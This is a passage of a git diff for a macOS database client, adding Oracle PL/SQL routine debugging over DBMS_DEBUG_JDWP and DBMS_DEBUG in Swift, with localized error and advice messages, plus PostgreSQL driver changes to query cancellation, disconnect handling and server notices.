+ case .package, .packageBody: return String(localized: "Package") + case .trigger: return String(localized: "Trigger") + case .type, .typeBody: return String(localized: "Type") + } + } + + static func unitUnreadable(_ name: String) -> String { + String(format: String(localized: "TablePro can't read %@. Check that this account can see its source."), name) + } + + static func noEntryPoints(_ name: String) -> String { + String(format: String(localized: "%@ has no public procedure or function to start from."), name) + } + + static func invalidPorts(_ text: String) -> String { + String(format: String(localized: "“%@” isn't a port or a range of ports, such as 4000-4999."), text) + } + + static func line(for notice: OracleDebugNotice) -> String { + switch notice { + case let .connectedOverJDWP(host, port): + return String(format: String(localized: "Debugging through DBMS_DEBUG_JDWP. The database connected to TablePro at %@."), "\(host):\(port)") + case let .fellBack(failure, host, port): + return jdwpFailureSentence(failure, host: host, port: port) + " " + fallbackSuffix + case .usingDBMSDebug(.chosen): + return String(localized: "Debugging through DBMS_DEBUG.") + case .usingDBMSDebug(.noDebuggerHost): + return String(localized: "No debugger host is set, so the database can't connect back to TablePro. Debugging through DBMS_DEBUG.") + case let .breakpointHasNoCode(unit, line): + return String(format: String(localized: "Line %1$d of %2$@ has no code to stop at."), line, unit.name) + case let .breakpointMoved(unit, from, to): + return String( + format: String(localized: "The breakpoint on line %1$d of %2$@ moved to line %3$d, the next line with code."), + from, unit.name, to + ) + case .serverOutput(let text): + return text + } + } + + private static func jdwpFailureSentence(_ failure: OracleJDWPFailure, host: String, port: Int) -> String { + let address = port > 0 ? "\(host):\(port)" : host + switch failure { + case .accessControlList: + return String(format: String(localized: """ + The database isn't allowed to connect to TablePro at %@ (ORA-24247). A DBA can allow it with \ + DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE and the jdwp privilege. + """), address) + case .unreachable: + return String(format: String(localized: "The database couldn't reach TablePro at %@."), address) + case .packageUnavailable: + return String(localized: "This database doesn't provide DBMS_DEBUG_JDWP.") + case .timedOut: + return String(format: String(localized: "The database didn't connect to TablePro at %@ in time."), address) + case .noFreePort: + return String(localized: "No port in the Debugger Ports range is free on this Mac.") + case .handshakeFailed: + return String(localized: "The connection from the database didn't complete the debugger handshake.") + case .noDebuggerHost: + return String(localized: "DBMS_DEBUG_JDWP needs a Debugger Host for the database to connect back to.") + case .unexpectedPeer(let addresses): + return String( + format: String(localized: "A connection came from %@, which isn't the database server's address, so TablePro closed it."), + addresses.joined(separator: ", ") + ) + case .missingPrivilege: + return String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege.") + case .other(let message): + return message + } + } + + static func error(for missing: OracleDebugStatements.MissingPrivilege, unit: OracleDebugUnit) -> OracleDebugPluginError { + switch missing { + case .debugConnectSession(let user): + return OracleDebugPluginError( + message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."), + detail: String(format: String(localized: "A DBA can grant it with GRANT DEBUG CONNECT SESSION TO %@."), user) + ) + case .debugOnObject(let user): + let qualified = "\(unit.owner).\(unit.name)" + return OracleDebugPluginError( + message: String(format: String(localized: "Debugging %@ needs the DEBUG privilege on it."), qualified), + detail: String( + format: String(localized: "A DBA can grant it with GRANT DEBUG ON %1$@ TO %2$@, or grant DEBUG ANY PROCEDURE."), + qualified, user + ) + ) + } + } + + static func error(for error: Error, host: String?) -> Error { + if error is OracleDebugPluginError || error is OraclePluginError || error is CancellationError { return error } + if let core = error as? OracleCoreError { return core.asPluginError } + if error is OracleJDWPError || error is OracleJDWPListenerError { + return OracleDebugPluginError(message: String(localized: "The database's debugger sent data TablePro can't read, so the session ended.")) + } + if error is OracleDebugPayload.ParseError { + return OracleDebugPluginError(message: String(localized: "The database answered the debugger with data TablePro can't read.")) + } + guard let debug = error as? OracleDebugError else { + return OracleDebugPluginError(message: String(localized: "The debugger couldn't finish this step."), detail: error.localizedDescription) + } + switch debug { + case .privilegeMissing(let message): + return OracleDebugPluginError( + message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."), + detail: message + ) + case .server(_, let message): + return OracleDebugPluginError(message: String(localized: "The debugger couldn't start."), detail: message) + case .jdwp(.missingPrivilege): + return OracleDebugPluginError( + message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."), + detail: nil + ) + case .jdwp(let failure): + return OracleDebugPluginError( + message: jdwpFailureSentence(failure, host: host ?? "", port: 0), + detail: jdwpFailureAdvice(failure) + ) + case .notPaused, .ended: + return OracleDebugPluginError(message: String(localized: "The debug session has ended.")) + case let .unsupportedArgument(name, typeName): + return OracleDebugPluginError( + message: String(format: String(localized: "TablePro can't turn text into a %2$@ value for %1$@."), name, typeName), + detail: String(localized: "Pass NULL or leave it at its default.") + ) + case let .undeclarableArgument(name, typeName): + return OracleDebugPluginError( + message: String(format: String(localized: "TablePro can't pass any value of type %2$@ to %1$@."), name, typeName), + detail: String(localized: "Debug it from a routine that calls it with that value.") + ) + case let .ambiguousDefaults(subprogram, parameters): + // String(localized:) does not inflect, so the plural is its own key. + let format = parameters.count == 1 + ? String(localized: "Give %1$@ a value. Left at its default, the call also matches another overload of %2$@.") + : String(localized: "Give %1$@ values. Left at their defaults, the call also matches another overload of %2$@.") + return OracleDebugPluginError( + message: String(format: format, ListFormatter.localizedString(byJoining: parameters), subprogram), + detail: String(localized: "Oracle can't tell the overloads apart without it (PLS-00307), and TablePro can't read the default to pass it.") + ) + case .ambiguousCall(let subprogram): + return OracleDebugPluginError( + message: String(format: String(localized: "This call matches more than one overload of %@, so Oracle can't run it (PLS-00307)."), subprogram), + detail: String(localized: "Debug it from a routine that calls it with arguments only this overload takes.") + ) + case .unitNotFound: + return OracleDebugPluginError(message: String(localized: "TablePro can't read this unit's source.")) + case .malformedReply: + return OracleDebugPluginError(message: String(localized: "The database's debugger sent data TablePro can't read, so the session ended.")) + case .debuggerStoppedAnswering: + return OracleDebugPluginError(message: String(localized: "The database's debugger stopped answering, so the session ended.")) + case .debuggerRefused(let code): + return OracleDebugPluginError( + message: String(localized: "The database's debugger refused the request."), + detail: String(format: String(localized: "JDWP error %d."), code) + ) + case .unreadableAnswer: + return OracleDebugPluginError(message: String(localized: "The database answered the debugger with data TablePro can't read.")) + } + } + + // What the person can do about each way the database failed to connect back. + static func jdwpFailureAdvice(_ failure: OracleJDWPFailure) -> String? { + switch failure { + case .accessControlList: + return String(localized: "Or choose DBMS_DEBUG as the protocol, which needs no ACL entry.") + case .unreachable(let message): + return message + "\n" + String(localized: "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol.") + case .timedOut: + return String(localized: "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol.") + case .packageUnavailable, .handshakeFailed: + return String(localized: "Choose DBMS_DEBUG as the protocol.") + case .noFreePort: + return String(localized: "Choose other Debugger Ports, or DBMS_DEBUG as the protocol.") + case .noDebuggerHost: + return String(localized: "Set Debugger Host to an address the database server can reach this Mac at, or choose DBMS_DEBUG as the protocol.") + case .unexpectedPeer: + return String(localized: "If the server reaches this Mac through NAT or a load balancer, choose DBMS_DEBUG as the protocol.") + case .missingPrivilege: + return nil + case .other(let message): + return message + } + } + + static func failure(_ failure: OracleDebugFailure) -> (message: String, detail: String?) { + switch failure { + case .routineFailed(let message): + return (String(localized: "The routine raised an error. Its changes were rolled back."), message.isEmpty ? nil : message) + case .stopped: + return (String(localized: "Stopped. The routine's changes were rolled back."), nil) + case .stillRunning(let identity): + let text = stillRunning(identity) + return (text.message, text.detail) + case .connectionLost(let message): + return (String(localized: "The debug session's connection closed."), message) + } + } + + static func stillRunning(_ identity: OracleDebugSessionIdentity?) -> (message: String, detail: String) { + let message = String(localized: "TablePro couldn't confirm that the routine ended. It may still be running on the server.") + let rollback = String(localized: "Its uncommitted work rolls back when it ends.") + guard let identity else { + return (message, rollback + " " + String(localized: "A user with ALTER SYSTEM can find its session in V$SESSION and end it with ALTER SYSTEM KILL SESSION.")) + } + guard let serial = identity.serial, let kill = OracleDBMSDebugStatements.killSession(identity) else { + return (message, String(format: String(localized: "Session SID %d. %@"), identity.sid, rollback)) + } + return (message, String( + format: String(localized: "Session SID %1$d, SERIAL# %2$d. %3$@ A user with ALTER SYSTEM can end it now with %4$@."), + identity.sid, serial, rollback, kill + )) + } + + // Nil is SQL NULL, so a value the debugger can't read is said in words. + static func text(for value: OracleDebugValue) -> String? { + switch value { + case .scalar(let text): + return text + case .record(let members): + return "(" + members.map { "\($0.name) => \($0.value ?? "NULL")" }.joined(separator: ", ") + ")" + case .collection(let count): + guard let count else { return String(localized: "Collection") } + // String(localized:) does not inflect, so the singular is its own key. + if count == 1 { return String(localized: "Collection of 1 element") } + return String(format: String(localized: "Collection of %d elements"), count) + case .unavailable: + return String(localized: "Not readable") + } + } +} diff --git a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift index 07d7a583c3..1a7b758383 100644 --- a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift +++ b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift @@ -189,11 +189,12 @@ private extension SQLOperatorDescriptor { } final class OraclePluginDriver: PluginDatabaseDriver, @unchecked Sendable { - private let config: DriverConnectionConfig + let config: DriverConnectionConfig private(set) var core: OracleCoreConnection? private var _currentSchema: String? private var _serverVersion: String? let principalState = OSAllocatedUnfairLock(initialState: OraclePrincipalState()) + let debugState = OSAllocatedUnfairLock(initialState: OracleDebugState()) private static let logger = Logger(subsystem: "com.TablePro", category: "OraclePluginDriver") @@ -704,7 +705,7 @@ final class OraclePluginDriver: PluginDatabaseDriver, @unchecked Sendable { func fetchViewDefinition(view: String, schema: String?) async throws -> String { // ALL_VIEWS.TEXT is LONG (crashes OracleNIO). TEXT_VC is VARCHAR2(4000), safe. - // Do NOT use DBMS_METADATA.GET_DDL — wrong object type triggers ORA-31603 + // Do NOT use DBMS_METADATA.GET_DDL: the wrong object type triggers ORA-31603, // which corrupts OracleNIO's connection state machine. let owner = effectiveSchema(schema) let result = try await execute(query: OracleSchemaQueries.viewDefinition(schema: owner, view: view)) diff --git a/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift b/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift new file mode 100644 index 0000000000..aa0ed251b8 --- /dev/null +++ b/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift @@ -0,0 +1,279 @@ +// +// OraclePluginDriver+Debugging.swift +// OracleDriverPlugin +// + +import Foundation +import os +import TableProOracleCore +import TableProPluginKit + +extension OraclePluginDriver: PluginRoutineDebugging { + var canDebugRoutines: Bool { true } + + func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? { + let kind: OracleDebugUnitKind + switch routine.kind { + case .procedure: kind = .procedure + case .function: kind = .function + @unknown default: return nil + } + if let language = routine.language, language.uppercased() != "PL/SQL" { return nil } + let owner = effectiveSchema(routine.schema?.isEmpty == false ? routine.schema : nil) + return Self.debugTarget(OracleDebugUnit(owner: owner, name: routine.name, kind: kind)) + } + + func debugTargets(schema: String?) async throws -> [PluginDebugTarget] { + let owner = effectiveSchema(schema?.isEmpty == false ? schema : nil) + let rows = try await rawQuery(OracleDebugStatements.targets(owner: owner)).rows + return rows.compactMap { row in + guard let name = row.first?.stringValue, + let kind = row.count > 1 ? row[1].stringValue.flatMap(OracleDebugUnitKind.init(rawValue:)) : nil + else { return nil } + return Self.debugTarget(OracleDebugUnit(owner: owner, name: name, kind: kind)) + } + } + + func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan { + guard let unit = OracleDebugUnit(identity: target.identity) else { + throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(target.name)) + } + let privileges = try await rawQuery(OracleDebugStatements.privileges(of: unit)).rows.first?.map(\.stringValue) ?? [] + if let missing = OracleDebugStatements.missingPrivilege(fromRow: privileges, unit: unit) { + throw OracleDebugText.error(for: missing, unit: unit) + } + let readinessRow = try await rawQuery(OracleDebugStatements.readiness(of: unit)).rows.first?.map(\.stringValue) + let preparation: PluginDebugPreparation? + switch OracleDebugStatements.readiness(fromRow: readinessRow) { + case .notVisible: + throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(target.name)) + case .ready: + preparation = nil + case .needsDebugCompile: + preparation = PluginDebugPreparation( + message: String(format: String(localized: "%@ isn't compiled for debugging."), target.name), + informativeText: Self.compileForDebugText(unit.kind), + actionTitle: String(localized: "Compile for Debug"), + statements: [unit.kind.compileForDebugStatement(owner: unit.owner, name: unit.name)] + ) + } + let rows = try await rawQuery(OracleDebugStatements.entryPoints(of: unit)).rows.map { $0.map(\.stringValue) } + let entryPoints = OracleDebugStatements.parseEntryPoints(rows: rows, unit: unit) + guard !entryPoints.isEmpty else { + throw OracleDebugPluginError(message: OracleDebugText.noEntryPoints(target.name)) + } + debugState.withLock { state in + state.entryPoints = state.entryPoints.filter { $0.value.entry.unit != unit } + for entryPoint in entryPoints { + state.entryPoints[entryPoint.entry.identity] = entryPoint + } + } + return PluginDebugPlan( + target: target, + entryPoints: entryPoints.map(Self.pluginEntryPoint), + mayWrite: true, + preparation: preparation, + options: await debugOptions(), + note: String(localized: "Changes the routine makes are committed when it finishes. Stop rolls them back.") + ) + } + + func startDebug( + _ request: PluginDebugRequest, + sessions: any PluginDebugSessionSource + ) async throws -> any PluginDebugSession { + guard let entry = OracleDebugEntry(identity: request.entryPoint.identity) else { + throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(request.entryPoint.displayName)) + } + let opener = OracleDebugSessionOpener(source: sessions) + let entryPoint: OracleDebugEntryPoint + let overloads: [OracleDebugEntryPoint] + let cached = debugState.withLock { state in + state.entryPoints[entry.identity].map { found in + (found, state.entryPoints.values.filter { $0.entry.unit == entry.unit && $0.entry.subprogram == entry.subprogram }) + } + } + if let cached { + (entryPoint, overloads) = cached + } else { + (entryPoint, overloads) = try await opener.entryPoint(for: entry) + } + let values = request.optionValues + let preference = values[OracleDebugProtocolPreference.fieldID] + .flatMap(OracleDebugProtocolPreference.init(rawValue:)) ?? .automatic + let host: String + if let chosen = values[OracleDebugProtocolPreference.hostFieldID] { + host = chosen.trimmingCharacters(in: .whitespaces) + } else { + host = await defaultDebuggerHost() + } + let portsText = values[OracleDebugProtocolPreference.portsFieldID] ?? OracleDebugStatements.defaultPorts + guard let ports = OracleDebugStatements.ports(from: portsText.isEmpty ? OracleDebugStatements.defaultPorts : portsText) else { + throw OracleDebugPluginError(message: OracleDebugText.invalidPorts(portsText)) + } + var arguments: [String: OracleDebugArgumentValue] = [:] + for argument in request.arguments { + switch argument.value { + case .text(let text): arguments[argument.parameterName] = .text(text) + case .null: arguments[argument.parameterName] = .null + case .defaultValue: arguments[argument.parameterName] = .defaultValue + @unknown default: arguments[argument.parameterName] = .null + } + } + let breakpoints = request.breakpoints.compactMap { breakpoint -> OracleDebugBreakpointRequest? in + OracleDebugUnit(identity: breakpoint.unitIdentity).map { OracleDebugBreakpointRequest(unit: $0, line: breakpoint.line) } + } + let launch = OracleDebugLaunch( + entryPoint: entryPoint, + arguments: arguments, + breakpoints: breakpoints, + preference: preference, + debuggerHost: host, + ports: ports, + databaseHost: config.host, + databasePort: config.port, + otherDatabaseHosts: tunneledHost.map { [$0] } ?? [], + overloads: overloads + ) + do { + let engine = try await OracleDebugLauncher.launch(launch) { try await opener.open() } + return OracleRoutineDebugSession(engine: engine) + } catch { + throw OracleDebugText.error(for: error, host: host) + } + } + + // MARK: - Helpers + + // Recompiling a package body discards its state in every session using it; their next call fails once with + // ORA-04068. + static func compileForDebugText(_ kind: OracleDebugUnitKind) -> String { + let compile = String(localized: """ + TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. \ + Compiling commits. + """) + guard kind.hasSubprograms else { return compile } + return compile + " " + String(localized: """ + Other sessions using the package lose its state, and their next call to it fails once with ORA-04068. + """) + } + + static func debugTarget(_ unit: OracleDebugUnit) -> PluginDebugTarget { + PluginDebugTarget( + identity: unit.identity, + name: unit.name, + schema: unit.owner, + kindDisplayName: OracleDebugText.kindName(unit.kind) + ) + } + + static func pluginEntryPoint(_ entryPoint: OracleDebugEntryPoint) -> PluginDebugEntryPoint { + PluginDebugEntryPoint( + identity: entryPoint.entry.identity, + displayName: entryPoint.displayName, + parameters: entryPoint.parameters.map { parameter in + let mode: PluginDebugParameterMode + switch parameter.mode { + case .input: mode = .input + case .output: mode = .output + case .inputOutput: mode = .inputOutput + } + return PluginDebugParameter( + name: parameter.name, + typeName: parameter.displayType, + mode: mode, + hasDefault: parameter.hasDefault + ) + } + ) + } + + // Asked in the start sheet. A direct connection suggests the address this Mac reaches the database from; through + // a tunnel or proxy the server sees another host, so the field starts empty and DBMS_DEBUG runs. + private func debugOptions() async -> [ConnectionField] { + let jdwpProtocols = [OracleDebugProtocolPreference.automatic.rawValue, OracleDebugProtocolPreference.jdwp.rawValue] + return [ + ConnectionField( + id: OracleDebugProtocolPreference.fieldID, + label: String(localized: "Protocol"), + defaultValue: OracleDebugProtocolPreference.automatic.rawValue, + fieldType: .dropdown(options: [ + ConnectionField.DropdownOption( + value: OracleDebugProtocolPreference.automatic.rawValue, + label: String(localized: "Automatic") + ), + ConnectionField.DropdownOption(value: OracleDebugProtocolPreference.jdwp.rawValue, label: "DBMS_DEBUG_JDWP"), + ConnectionField.DropdownOption(value: OracleDebugProtocolPreference.dbmsDebug.rawValue, label: "DBMS_DEBUG") + ]), + section: .connection + ), + ConnectionField( + id: OracleDebugProtocolPreference.hostFieldID, + label: String(localized: "Debugger Host"), + placeholder: String(localized: "Address the database server can reach this Mac at"), + defaultValue: await defaultDebuggerHost(), + section: .connection, + visibleWhen: FieldVisibilityRule(fieldId: OracleDebugProtocolPreference.fieldID, values: jdwpProtocols) + ), + ConnectionField( + id: OracleDebugProtocolPreference.portsFieldID, + label: String(localized: "Debugger Ports"), + placeholder: OracleDebugStatements.defaultPorts, + defaultValue: OracleDebugStatements.defaultPorts, + section: .connection, + visibleWhen: FieldVisibilityRule(fieldId: OracleDebugProtocolPreference.fieldID, values: jdwpProtocols) + ) + ] + } + + // Behind a tunnel the session dials the forward's loopback address; the server itself is this host. + private var tunneledHost: String? { + guard let host = config.additionalFields["preTunnelHost"], !host.isEmpty else { return nil } + return host + } + + private func defaultDebuggerHost() async -> String { + if tunneledHost != nil { return "" } + guard let route = await OracleDebugNetwork.localAddress(towardHost: config.host, port: config.port) else { return "" } + // `localhost` routes over ::1 first; a server on this Mac, or Docker Desktop's forward, reaches 127.0.0.1. + return OracleDebugNetwork.isLoopback(route) ? "127.0.0.1" : route + } +} + +struct OracleDebugState: Sendable { + var entryPoints: [String: OracleDebugEntryPoint] = [:] +} + +// Hands the launcher the sessions the host opens, keeping each one's Oracle connection. +final class OracleDebugSessionOpener: @unchecked Sendable { + private let source: any PluginDebugSessionSource + private let lock = NSLock() + private var opened: [OracleCoreConnection] = [] + + init(source: any PluginDebugSessionSource) { + self.source = source + } + + func open() async throws -> OracleCoreConnection { + if let reused = lock.withLock({ opened.isEmpty ? nil : opened.removeFirst() }) { + return reused + } + let driver = try await source.openSession() + guard let oracle = driver as? OraclePluginDriver, let core = oracle.core, core.isConnected else { + throw OraclePluginError(core: .notConnected) + } + return core + } + + // Read on the first debug session, which the launcher then takes as its own. + func entryPoint(for entry: OracleDebugEntry) async throws -> (OracleDebugEntryPoint, overloads: [OracleDebugEntryPoint]) { + let connection = try await open() + lock.withLock { opened.append(connection) } + let rows = try await connection.executeQuery(OracleDebugStatements.entryPoints(of: entry.unit)).rows + let entryPoints = OracleDebugStatements.parseEntryPoints(rows: rows.map { $0.map(\.stringValue) }, unit: entry.unit) + guard let entryPoint = entryPoints.first(where: { $0.entry == entry }) else { + throw OracleDebugPluginError(message: OracleDebugText.noEntryPoints(entry.subprogram)) + } + return (entryPoint, entryPoints.filter { $0.entry.subprogram == entry.subprogram }) + } +} diff --git a/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift b/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift new file mode 100644 index 0000000000..94855be020 --- /dev/null +++ b/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift @@ -0,0 +1,157 @@ +// +// OracleRoutineDebugSession.swift +// OracleDriverPlugin +// + +import Foundation +import TableProOracleCore +import TableProPluginKit + +final class OracleRoutineDebugSession: PluginDebugSession, @unchecked Sendable { + private let engine: any OracleDebugEngine + let output: AsyncStream + + // Step Out works on both: JDWP's OUT depth and DBMS_DEBUG's break_any_return each stop in the caller (measured). + let supportedCommands: Set = [.continueExecution, .stepOver, .stepInto, .stepOut] + + init(engine: any OracleDebugEngine) { + self.engine = engine + let notices = engine.notices + output = AsyncStream { continuation in + let task = Task { + for await notice in notices { + continuation.yield(OracleDebugText.line(for: notice)) + } + continuation.finish() + } + continuation.onTermination = { _ in task.cancel() } + } + } + + func firstStop() async throws -> PluginDebugStop { + try await run { try await engine.firstStop() } + } + + func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop { + let mapped: OracleDebugCommand + switch command { + case .continueExecution: mapped = .continueExecution + case .stepOver: mapped = .stepOver + case .stepInto: mapped = .stepInto + case .stepOut: mapped = .stepOut + @unknown default: mapped = .continueExecution + } + return try await run { try await engine.perform(mapped) } + } + + private func run(_ body: () async throws -> OracleDebugStop) async throws -> PluginDebugStop { + do { + return Self.pluginStop(try await body()) + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func source(of unit: PluginDebugUnit) async throws -> String { + guard let oracleUnit = OracleDebugUnit(identity: unit.identity) else { + throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(unit.displayName)) + } + do { + return try await engine.source(of: oracleUnit) + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func stack() async throws -> [PluginDebugFrame] { + do { + return try await engine.stack().map { frame in + PluginDebugFrame(level: frame.level, location: Self.location(frame.location), arguments: frame.subprogram) + } + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func variables(inFrame level: Int) async throws -> [PluginDebugVariable] { + do { + return try await engine.variables(inFrame: level).map { variable in + let kind: PluginDebugVariableKind + switch variable.kind { + case .argument: kind = .argument + case .local: kind = .local + case .package: kind = .package + } + return PluginDebugVariable( + name: variable.name, + kind: kind, + typeName: variable.typeName, + value: OracleDebugText.text(for: variable.value), + isConstant: variable.isConstant + ) + } + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? { + guard let unit = OracleDebugUnit(identity: breakpoint.unitIdentity) else { return nil } + do { + guard let line = try await engine.setBreakpoint(in: unit, line: breakpoint.line) else { return nil } + return PluginDebugBreakpoint(unitIdentity: breakpoint.unitIdentity, line: line) + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws { + guard let unit = OracleDebugUnit(identity: breakpoint.unitIdentity) else { return } + do { + try await engine.removeBreakpoint(in: unit, line: breakpoint.line) + } catch { + throw OracleDebugText.error(for: error, host: nil) + } + } + + func stop() async -> PluginDebugStopOutcome { + switch await engine.stop() { + case .ended: + return .ended + case .unconfirmed(let identity): + let text = OracleDebugText.stillRunning(identity) + return .unconfirmed(message: text.message, detail: text.detail) + } + } + + static func location(_ location: OracleDebugLocation) -> PluginDebugLocation { + PluginDebugLocation(unit: unit(location.unit), line: location.line) + } + + static func unit(_ unit: OracleDebugUnit) -> PluginDebugUnit { + let name = "\(unit.owner).\(unit.name)" + let displayName = unit.kind == .package || unit.kind == .type + ? String(format: String(localized: "%@ (specification)"), name) + : name + return PluginDebugUnit(identity: unit.identity, displayName: displayName) + } + + static func pluginStop(_ stop: OracleDebugStop) -> PluginDebugStop { + switch stop { + case .paused(let location): + return .paused(Self.location(location)) + case .finished(let outcome): + guard !outcome.values.isEmpty else { return .finished(nil) } + return .finished(PluginQueryResult( + columns: outcome.values.map(\.name), + columnTypeNames: outcome.values.map(\.typeName), + rows: [outcome.values.map { $0.value.map(PluginCellValue.text) ?? .null }], + rowsAffected: 0, + timing: PluginQueryTiming(total: 0) + )) + case .failed(let failure): + let text = OracleDebugText.failure(failure) + return .failed(message: text.message, detail: text.detail) + } + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift index 8ed4cfd180..4ac2de19bd 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift @@ -260,6 +260,18 @@ final class LibPQDriverCore: @unchecked Sendable { libpqConnection?.cancelCurrentQuery() } + func observeServerNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) { + libpqConnection?.observeServerNotices(observer) + } + + func cancelQueryKeepingReply() { + libpqConnection?.requestServerCancelKeepingReply() + } + + func interruptBlockedCallOnDisconnect() { + libpqConnection?.interruptBlockedCallOnDisconnect() + } + func setPostgisOidMap(_ map: [UInt32: PostGISType]) { libpqConnection?.setPostgisOidMap(map) } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift index 67a12ea64d..42f3e0fa84 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift @@ -72,6 +72,7 @@ final class LibPQPluginConnection: @unchecked Sendable { private var _isConnectCancelled: Bool = false private var _lastTransactionState: LibPQTransactionState = .idle private var _hasLostConnection = false + private var _interruptsBlockedCallOnDisconnect = false private var serverMessages: Unmanaged? private var _standardConformingStrings = true /// Queue-confined. Non-nil until every schema/flavor/catalog bootstrap probe has completed. @@ -173,11 +174,8 @@ final class LibPQPluginConnection: @unchecked Sendable { } func cancelConnect() { - stateLock.lock() - _isConnectCancelled = true - let currentConnection = conn - stateLock.unlock() - if let currentConnection { requestServerCancel(on: currentConnection, evenWhenSuppressed: true) } + stateLock.withLock { _isConnectCancelled = true } + requestServerCancelOnCurrentConnection(evenWhenSuppressed: true) } private var isConnectCancelled: Bool { @@ -537,6 +535,19 @@ final class LibPQPluginConnection: @unchecked Sendable { } } + // PQgetCancel copies what the request needs while the lock is held: disconnect() takes `conn` under that lock + // before the PQfinish it queues can free the connection. + private func requestServerCancelOnCurrentConnection(evenWhenSuppressed: Bool = false) { + let request: LibPQCancelRequest? = stateLock.withLock { + guard evenWhenSuppressed || !suppressServerSideCancel, let conn, let cancelObject = PQgetCancel(conn) else { + return nil + } + return LibPQCancelRequest(cancelObject) + } + guard let request else { return } + Self.cancellationQueue.async { request.perform() } + } + private func requestServerCancel(on connection: OpaquePointer, evenWhenSuppressed: Bool = false) { guard evenWhenSuppressed || !suppressServerSideCancel, let cancelObject = PQgetCancel(connection) else { return } @@ -584,11 +595,17 @@ final class LibPQPluginConnection: @unchecked Sendable { _isConnectCancelled = true let handle = conn let sink = serverMessages + let interruptsBlockedCall = _interruptsBlockedCallOnDisconnect conn = nil serverMessages = nil _cachedServerVersion = nil _cachedServerVersionNumber = 0 stateLock.unlock() + // The descriptor stays this connection's until the PQfinish queued below runs. + if interruptsBlockedCall, let handle { + let socket = PQsocket(handle) + if socket >= 0 { _ = Darwin.shutdown(socket, SHUT_RDWR) } + } queue.async { [self] in activeConnectDeadline = nil if let handle { @@ -612,13 +629,7 @@ final class LibPQPluginConnection: @unchecked Sendable { func cancelCurrentQuery() { guard cancellationGate.cancel() != nil else { return } - - stateLock.lock() - let currentConn = conn - stateLock.unlock() - - guard let currentConn else { return } - requestServerCancel(on: currentConn) + requestServerCancelOnCurrentConnection() } // MARK: - Query Execution @@ -1447,3 +1458,22 @@ final class LibPQPluginConnection: @unchecked Sendable { return LibPQPluginError(message: message, sqlState: nil, detail: nil) } } + +extension LibPQPluginConnection { + func observeServerNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) { + let sink = stateLock.withLock { serverMessages?.takeUnretainedValue() } + sink?.observeNotices(observer) + } + + // A debug session runs with no statement timeout, so a call blocked on a server that stopped answering would + // otherwise keep the socket, and the PQfinish queued behind it, for as long as TCP keeps the connection open. + func interruptBlockedCallOnDisconnect() { + stateLock.withLock { _interruptsBlockedCallOnDisconnect = true } + } + + // Leaves the cancellation gate alone, so the server's reply decides how the call ended: a cancel that lands + // after a routine returned must not turn its committed result into a cancellation. + func requestServerCancelKeepingReply() { + requestServerCancelOnCurrentConnection() + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift index 4f93b98886..be78bb57fa 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift @@ -6,12 +6,19 @@ import CLibPQ import Foundation +struct LibPQServerNotice: Sendable { + let message: String + let text: String +} + final class LibPQServerMessageSink: @unchecked Sendable { private static let severityField = Int32(UInt8(ascii: "V")) + private static let primaryMessageField = Int32(UInt8(ascii: "M")) private let lock = NSLock() private var sessionEnding: LibPQPluginError? private var forwardedReceiver: PQnoticeReceiver? + private var noticeObserver: (@Sendable (LibPQServerNotice) -> Void)? static func install(on connection: OpaquePointer) -> Unmanaged { let retained = Unmanaged.passRetained(LibPQServerMessageSink()) @@ -34,6 +41,12 @@ final class LibPQServerMessageSink: @unchecked Sendable { lock.withLock { sessionEnding = nil } } + // The observer runs on the connection's queue while a statement reads its reply, so it must not call back + // into the connection. + func observeNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) { + lock.withLock { noticeObserver = observer } + } + fileprivate func receive(_ result: 